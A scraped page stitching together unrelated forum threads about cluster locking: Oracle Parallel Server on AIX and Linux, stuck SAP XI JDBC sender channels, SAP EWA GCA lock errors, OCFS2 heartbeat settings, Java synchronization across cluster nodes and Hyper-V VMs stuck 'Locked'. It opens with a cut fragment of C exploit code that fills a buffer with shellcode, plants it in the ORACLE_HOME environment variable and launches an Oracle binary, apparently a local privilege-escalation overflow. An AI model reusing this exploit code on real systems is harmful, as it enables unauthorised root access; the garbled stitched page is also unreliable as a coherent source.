ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
printf("[ offset:%d buffer=%d ret:0x%x ]\n",
offset,strlen(buff),addr);
system(PATH);
null

Hi Peter,
I was told that Oracle8 and Oracle8i Parallel Server on IBM
RS/6000 AIX comes with its own Lock Manager and this LM does not
rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
(Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
HACMP but came with a special LM.)
Cluster-wide Filesystems are not used for OPS on Unix, as far as
I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
Logical Volumes on AIX).
So I guess it should be possible for Oracle to port OPS to Linux.
No special Cluster-Services would be needed for OPS on Linux,
just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
100BaseT).
Peter Sechser (guest) wrote:
: Dave,
: Parallel Server needs some cluster services in order to
: communicate between several nodes. So, the operating system has
: to offer things like inter-node communication services,
: cluster-wide lock communication services and a clusterwide
: filesystem. I'm not quite sure, to what degree Linux
offers/will
: offer these services.
: Peter
null

Jdbc sender adapter hangs and starts showing "Processing Started" forever

Dear ,
We are facing some issues with jdbc sender adapter channel on production system
Environment : XI 3.0 SP 20 + HP-UX 11.23 ia64 + Oracle 10.2
Sometimes it hangs and starts showing "Processing Started" forever on communication channel monitoring .
There is no error log for this.
If i stop it and then start it , no use.
If i copied this to a new one then it works.
I have found few SAP note like 1078420,1083488 , but my system is already at higher patch level.
Can you please advise me something as we are facing in production frequently.
Regards,
Sandeep

Hi Sandeep,
This problem even we too faced in our project and thought of many stupid things finally found that the JDBC adapter is LOCKED.
Check in the Visual Admin >Cluster> "LOCKING ADAPTER"
we get a option of Display Locks .Check for an entry with
NAME : $XIDBAD.JDBC2XI
reset the locks and restart the CC ,now it works fine.
Note 1083488 - XI FTP/JDBC sender channel stop polling indefinitely(04/04S)
Thanks
Sudharshan

EWA GCA TASK for portals

Hi,
Executed task EWA GCA, got the error. Plz advise
3021] The task EWA GCA Task (XXXXX) failed during its processing!
[EXCEPTION]
com.sap.sup.admin.scheduler.exception.FatalTaskExecutionException: RemoteFileNotFound See log for details.
Full Message Text
[3021] The task EWA GCA Task (XXXXX) failed during its processing!
[EXCEPTION]
com.sap.sup.admin.scheduler.exception.FatalTaskExecutionException: RemoteFileNotFound See log for details
at com.sap.sup.admin.ewa.gca.TdaTask.process(TdaTask.java:500)
at sun.reflect.GeneratedMethodAccessor241.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:324)
at com.sap.smd.server.exec.asio.AsioInvocationHandler$1.call(AsioInvocationHandler.java:87)
at com.sap.smd.server.util.concurrent.FutureResult$1.run(FutureResult.java:90)
at com.sap.smd.server.exec.asio.AsioInvocationHandler$AsioRunner.run(AsioInvocationHandler.java:266)
at com.sap.smd.server.exec.TaskRunner.run(TaskRunner.java:45)
at com.sap.smd.server.util.concurrent.PooledExecutor$Worker.run(PooledExecutor.java:781)
at java.lang.Thread.run(Thread.java:534).
1829] Cannot acquire a lock on the task EWA GCA Task (bp1ss01z)!
[EXCEPTION]
com.sap.smd.cluster.locking.exception.LockingException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with
1829] Cannot acquire a lock on the task EWA GCA Task (bp1ss01z)!
[EXCEPTION]
com.sap.smd.cluster.locking.exception.LockingException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with user J2EE_GUEST.
at com.sap.smd.cluster.locking.LockingManager.lockUserTransaction(LockingManager.java:246)
at com.sap.sup.admin.scheduler.JmsScheduler.acquireUserTransactionLock(JmsScheduler.java:2435)
at com.sap.sup.admin.scheduler.consumer.SchedulerTaskQueueConsumerBean.onMessage(SchedulerTaskQueueConsumerBean.java:127)
at com.sap.sup.admin.scheduler.consumer.SchedulerTaskQueueConsumerBean0_0Extension.onMessage(SchedulerTaskQueueConsumerBean0_0Extension.java:141)
at com.sap.jms.client.session.Session.run(Session.java:619)
at com.sap.engine.services.jmsconnector.cci.SessionImpl.run(SessionImpl.java:216)
at com.sap.engine.services.ejb.message.RunnableObject.run(RunnableObject.java:49)
at com.sap.engine.core.thread.impl3.ActionObject.run(ActionObject.java:37)
at java.security.AccessController.doPrivileged(Native Method)
at com.sap.engine.core.thread.impl3.SingleThread.execute(SingleThread.java:102)
at com.sap.engine.core.thread.impl3.SingleThread.run(SingleThread.java:172)
Caused by: com.sap.engine.frame.core.locking.LockException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with user J2EE_GUEST.
at com.sap.engine.core.locking.impl3.LockingManagerImpl.lockInternal(LockingManagerImpl.java:257)
at com.sap.engine.core.locking.AbstractLockingManagerImpl.lock(AbstractLockingManagerImpl.java:423)
at com.sap.engine.services.applocking.AbstractBaseLocking.lockInternal(AbstractBaseLocking.java:133)
at com.sap.engine.services.applocking.LogicalLockingImpl.lock(LogicalLockingImpl.java:43)
at com.sap.engine.services.applocking.NamespaceLogicalLockingImpl.lock(NamespaceLogicalLockingImpl.java:47)
at com.sap.engine.services.applocking.LogicalLocking_Stub.lock(LogicalLocking_Stub.java:65)
at com.sap.smd.cluster.locking.LockingManager.lockUserTransaction(LockingManager.java:242)
Thanks in advance.
Edited by: Kobby bryant on Jun 24, 2008 11:46 PM
Edited by: Kobby bryant on Jun 24, 2008 11:49 PM
Edited by: Kobby bryant on Jun 24, 2008 11:50 PM

SMD agents have been set, GCA data is been collected for app servers. Central Instance EWA GCA task is failing.
Is there any way to solve this issue...
Thx in advance.
Edited by: Kobby bryant on Jun 26, 2008 2:33 PM

Question for the O2CB_HEARTBEAT_THRESHOLD option

Hi,
I am trying to install a two node rac cluster with RHEL 5.5 and OCFS2.
On page http://oss.oracle.com/projects/ocfs2/dist/documentation/v1.2/ocfs2_faq.html (FAQ 105) there is a formula used to calculate the O2CB_HEARTBEAT_THRESHOLD:
O2CB_HEARTBEAT_THRESHOLD = (((timeout in seconds) / 2) + 1)
What does it means the "timeout in seconds"? Where I can found it?
Thanks in advanced,
GS
Edited by: user12076634 on Mar 26, 2012 9:55 AM

The very first link Google brings up answers your question.
Source:
http://oss.oracle.com/projects/ocfs2/dist/documentation/v1.2/ocfs2_faq.html
Quote:
"When is a node deemed dead?
An active node is deemed dead if it does not update its timestamp for O2CB_HEARTBEAT_THRESHOLD (default=31) loops. Once a node is deemed dead, the surviving node which manages to cluster lock the dead node's journal, recovers it by replaying the journal."
Now if you do not understand this you need to explain what it is about it you do not understand because it all seems perfectly clear to this correspondent.

JDBC Sender channel not processing the messages

Hello,
From yesterday onwards JDBC Sender channel not processing the messages. In CC monitoring it is showing in Green Led and status is functioning. Cahnnel is polling for messages to DB server as per polling interval. But it is not processing the msg's. Under Processing detials for cluster node it is showing only "Processing Started" for each polling interval.
I have done the check in DB server by executing the query in the channel, whether there are any records are exisitng or not. There are 1000+ records.
Previously the parameter "Disconnect from DB after processing each message" was not set. I have set the parameter and activated in Productiion. Still the messages are not processing by channel
What was the problem? How to rectify with this.
Cheers
Veera

Check in the Visual Admin >Cluster> "LOCKING ADAPTER"
we get a option of Display Locks .Check for an entry with
NAME : $XIDBAD.JDBC2XI
reset the locks and restart the CC ,now it works fine.
Note 1083488 - XI FTP/JDBC sender channel stop polling indefinitely(04/04S)

Adapter failure

We are witnessing a strange behavior with our XI system
The XI communication channel fails to read the file. In fact it never pings that file. The file was there in the folder for hours, but XI never read it although the communication channel was always green and the communication channel monitoring shows it was continuously pinging in the folder.
As soon as we restarted the channel (I just stopped it and again pressed start) it picked up the file.
What can be the reason and it happens only once or twice in a month. And for the rest of the days it runs fine with errors

Hi,
In the Visual Admin --->Cluster ---> "LOCKING ADAPTER"
You get a option of Display Locks .Check there, if it is locked reset the lock and restart the CC.
Regards,
Sarvesh

Lock object for KONV table/Cluster table ??

Hi All,
Is it possible to set Lock/Enqueue cluster tables or in my case table:KONV (KNUMV field) ?.
OSS provided some programs without locks so was hoping if I could add before performing data manipulation.
Regards,
Neeth

Hi Nameeth,
you can use generic lock object E_TABLE with function modules ENQUEUE_E_TABLE, DEQUEUE_E_TABLE for locking and unlocking with parameters table name and key field.
Regards,
Satya

Using synchronized lock in a cluster - will it work ?

          Hi all,
          I'm going to plan a web application that should
          run in a cluster environment.
          Somewhere in the code I need to protect global variables
          with "synchronized".
          Will it work in cluster?
          Thanks
          Francesco


These design will create more problem then the benefits of clustering. Try
          storing that data in database where all the nodes of cluster can share and
          probably you lock the record when you access it.
          Thanks
          Aravind
          "Bart Simpson" <[email protected]> wrote in message
          news:3e8c7151$[email protected]..
          >
          > Hi,
          >
          > How are you doing? Generally, I don't think it will work:( Thead
          synchronization
          > only works within a single VM.
          >
          > Best regards,
          > -Bart
          >
          > "Francesco" <[email protected]> wrote:
          > >
          > >Hi all,
          > >I'm going to plan a web application that should
          > >run in a cluster environment.
          > >Somewhere in the code I need to protect global variables
          > >with "synchronized".
          > >Will it work in cluster?
          > >Thanks
          > >Francesco
          >

VMs on Failover Cluster hanging in "Locked" state

I'm managing a Windows Server 2012 R2 2-node cluster that is backed up using a separate DPM 2012 R2 server. All VMs are on Cluster Shared Storage.
I've noticed that some VMs keep hanging in a "Running (Locked)" state (in FOCM, in HVM it shows a "Backing up..." state). Things I noticed while the VMs are in this state are:
every subsequent DPM backup will fail (it looks like DPM is the cause of this "Locked" state)
the VM can't be moved to another node
if the VM is backed up "Online", I can see AVHD files -- the VHD files have the date of the last succesful DPM backup
if the VM is backed up "Offline", I can't find any snapshots (the VHD files have the date of the last succesful DPM backup, which is weird, since the data in the VM is actually changing)
The only way out of this situation is to shut down the VMs and reboot both cluster nodes. Of course, this isn't something that I like to do on a weekly basis.
My questions:
- What can I do to prevent this "Locked" problem? (the last 2 months I've experienced this problem with 5 different VMs)
- Is there another way to get out of the "Locked" situation? Preferably one that doesn't require a cluster reboot.
- Are there any logs I can check to get more information about this problem?
Thanks in advance!

I don't have a couple of those hotfixes. Mainly because the hotfix page states that I only should install it if I experience the problems mentioned -- which isn't always the case.
I have a service interval coming up and will install the relevant patches. I'll report back when I have new information.
Thanks so far!

EOIO Cluster Lock

Similar Messages

Maybe you are looking for